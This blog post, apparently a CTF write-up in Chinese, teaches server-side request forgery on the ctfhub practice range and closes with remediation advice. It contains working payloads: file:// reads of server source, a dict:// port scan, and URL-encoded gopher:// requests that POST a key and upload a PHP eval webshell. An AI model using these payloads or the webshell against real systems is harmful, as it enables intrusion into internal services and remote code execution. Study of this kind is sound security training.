banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

SSRF學習之ctfhub靶場-基礎部分

概念#

SSRF,全稱為 Server-Side Request Forgery,伺服器端請求偽造,是攻擊者能夠代表伺服器發送請求時產生的漏洞。它允許攻擊者 “偽造” 易受到攻擊伺服器的請求簽名,從而在 web 上佔據主導地位,繞過防火牆控制並獲得對內部服務的訪問權限。

形成原因:由於伺服器端提供了從其他伺服器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制,導致攻擊者可以傳入任意的地址來讓後端伺服器對其發送請求,並返回對該目標地址請求的數據。

那麼在什麼時候可能產生SSRF呢?最常見的是當伺服器需要外部資源時。

比如web需要從google加載一張縮略圖,此時的請求可能是這樣的:

https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg

當從google.com獲取cutpugs.jpeg時,Web應用程序必須訪問google.com並從google.com中檢索內容。

如果伺服器不區分內部和外部資源,攻擊者就可以輕鬆地發出請求:

https://public.example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt

然後使web伺服器向攻擊者的web伺服器顯示包含密碼的文件。

列舉幾個經常易受SSRF攻擊的功能,包括Web hook、通過URL上傳文件、文檔和圖像處理、鏈接擴展和代理服務(因為這些功能都需要訪問和獲取外部資源)。

在 PHP 中:某些函數的不當使用會導致 SSRF:如

  • file_get_conntents (): 把文件寫入字符串,當 url 是內網文件時,會先把這個文件的內容讀出來再寫入,導致了文件讀取。
  • fsockopen (): 實現獲取用戶指定 url 的數據(文件或者 html),這個函數會使用 socket 跟伺服器建立 tcp 連接,傳輸原始數據。
  • curl_exec (): 通過 file、dict、gopher 三個協議來進行滲透。

危害:獲取web應用可達伺服器服務的banner信息,以及收集內網web應用的指紋識別。

根據這些信息再進行進一步的滲透,攻擊運行在內網的系統或應用程序,獲取內網系統弱口令進行內網漫遊。

對有漏洞的內網web應用實施攻擊獲取webshell

利用由脆弱性的組件結合ftp://、file://、dict://等協議實施攻擊。

漏洞發生點:

  • 通過url地址分享網頁內容。
  • 文件處理、編碼處理、轉碼等服務。
  • 在線翻譯。
  • 通過 url 地址加載與下載圖片。
  • 圖片、文章收藏功能。
  • 未公開的 api 實現及其他調用 url 的功能。
  • 網站郵箱收取其他郵箱郵件功能。

url關鍵字尋找:

share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain

下面配合ctfhub的靶場進行實戰講解。

0x01 第一題 內網訪問#

簡單演示:

先來一個例子熱熱身,依然是ctfhub技能樹web第一題 內網訪問。

題目提示為:嘗試訪問位於127.0.0.1flag.php吧。

打開題目為空白,urlxxx.com:yyyy/?url=_

嗯,好,不知道啥意思,這篇文章到此結束。。了嗎?不可能的。

url=127.0.0.1/flag.php

image

好下個。

0x02 第二題 端口掃描#

題目提示端口在8000-9000,因此直接掃就可以了。

這裡我們需要使用dict偽協議來掃描,因為dict協議可以用來探測開放的端口。

偽協議可以參考文末的參考文章進行學習。

image

image

得到端口8605

image

得到flag,接下來看下一題POST請求。

0x03 第三題 POST 請求#

題目描述為

“這次是發一個 HTTP POST 請求。對了.ssrf 是用 php 的 curl 實現的。並且會跟蹤 302 跳轉。加油吧少年。”

從提示知道應該是需要我們利用SSRF發一個POST的請求,自然而然就想到了gopher

同時題目中也提到了curl,而curl正好是支持gopher協議的。

因此這題大概率就是利用gopher發送一個POST請求,然後獲得flag

那先看下存不存在flag.php吧:

image

查看flag.php果然存在,並且返回中有一個debug參數key

<!-- Debug: key=4a0c2731eeeb016454ef8984765b990d-->

需要我們用gopher協議通過302.php的跳轉去用post keyflag.php

不過需要注意的是要從127.0.0.1發送數據。

那我們先看一下能否讀取到flag.phpindex.php的內容:

/?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

/?url=file:///var/www/html/index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

偽協議同樣可以參考文末的參考文章進行學習。

構造gopher數據。

我們首先要通過

{host}:{port}/index.php?url=http://127.0.0.1/302.php

去跳轉gopher的協議,構造POST,結合gopher,數據包應該是這樣的:

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=4a0c2731eeeb016454ef8984765b990d

以上數據包內容缺一不可,需要注意的是

  • 特別注意 Content-Length 的長度,這個字段必須有,並且長度不對也是不行的。

  • 注意更改 key。

  • URL 編碼的次數主要取決於你請求的次數,比如你直接 POST 請求算一次,直接?url 打則需再加一次共 2 次。

這裡推薦一個巨好用的在線編碼網站,CyberChef

首先在左邊搜索欄搜索url encode,把這個功能拖到功能欄。

將上面代碼複製進去得到第一次URL編碼的結果(注意默認編碼特殊字符不需要勾選編碼全部字符):

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%20%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=4a0c2731eeeb016454ef8984765b990d

此處需要對換行進行處理,默認換行編碼為%0A,但我們需要把它換為%0D%0A

於是在頁面左邊搜索Find / Replace拖到功能欄按照所屬進行配置:

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%20%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=4a0c2731eeeb016454ef8984765b990d

最後由於我們是通過?url過去的,所以需要再編碼一次:

image

最終的包為:

GET http://challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%2520%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=4a0c2731eeeb016454ef8984765b990d HTTP/1.1
Host: challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

發包得到flag

image

0x04 第四題 上傳文件#

提示為

這次需要上傳一個文件到 flag.php 了。祝你好运。

直接訪問127.0.0.1下的flag.php,發現是一個文件上傳界面,提示我們上傳webshell

image

但好像只有一個選擇文件,沒有上傳文件的按鈕,訪問?url=file:///var/www/html/index.php,得到index.php的源碼:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

訪問?url=file:///var/www/html/flag.php,得到flag.php的源碼:

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

if (isset($_FILES["file"]) && $_FILES["file"]["size"] > 0) {
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

可以發現flag.php僅要求上傳的文件大小大於 0 即可得到flag,並沒有任何過濾。

接下來我們嘗試利用gopher協議上傳文件,首先需要得到文件上傳的數據包,才能編寫gopherpayload

因此我們對這個文件上傳的flag.php頁面進行F12前端改寫,添加一個submit提交按鈕。

(但這裡點擊提交按鈕是得不到flag的,必須從目標機本地訪問。)

添加一行

<input type="submit" name="submit">

則會出現一個提交查詢按鈕:

image

隨便選擇文件,開啟攔截包點擊提交查詢。

image

由於訪問flag需要本地訪問,故把HOST改為127.0.0.1

POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------22285140113870486144781081380
Content-Length: 379
Origin: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream

<?php @eval($_POST['a']);
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="submit"

提交查詢
-----------------------------22285140113870486144781081380--

然後和上面的操作一樣url編碼一次,把%0A換成%0D%0A,然後再url編碼一次。

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko/20100101%2520Firefox/84.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=---------------------------22285140113870486144781081380%250D%250AContent-Length:%2520379%250D%250AOrigin:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080%250D%250AConnection:%2520close%250D%250AReferer:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522yjh.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'a'%255D);%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------22285140113870486144781081380--

進行gopher協議的使用,就可以成功得到flag

image

修復建議#

  • 禁用不需要的協議,只允許 HTTP 和 HTTPS 請求,可以防止類似於 file://, gopher://, ftp:// 等引起的問題。

  • 白名單的方式限制訪問的目標地址,禁止對內網發起請求。

  • 過濾或屏蔽請求返回的詳細信息,驗證遠程伺服器對請求的響應是比較容易的方法。如果 web 應用是去獲取某一種類型的文件。那麼在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。

  • 驗證請求的文件格式。

  • 禁止跳轉。

  • 限制請求的端口為 http 常用的端口,比如 80、443、8080、8000 等。

  • 統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端伺服器的端口狀態。

參考文章:

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。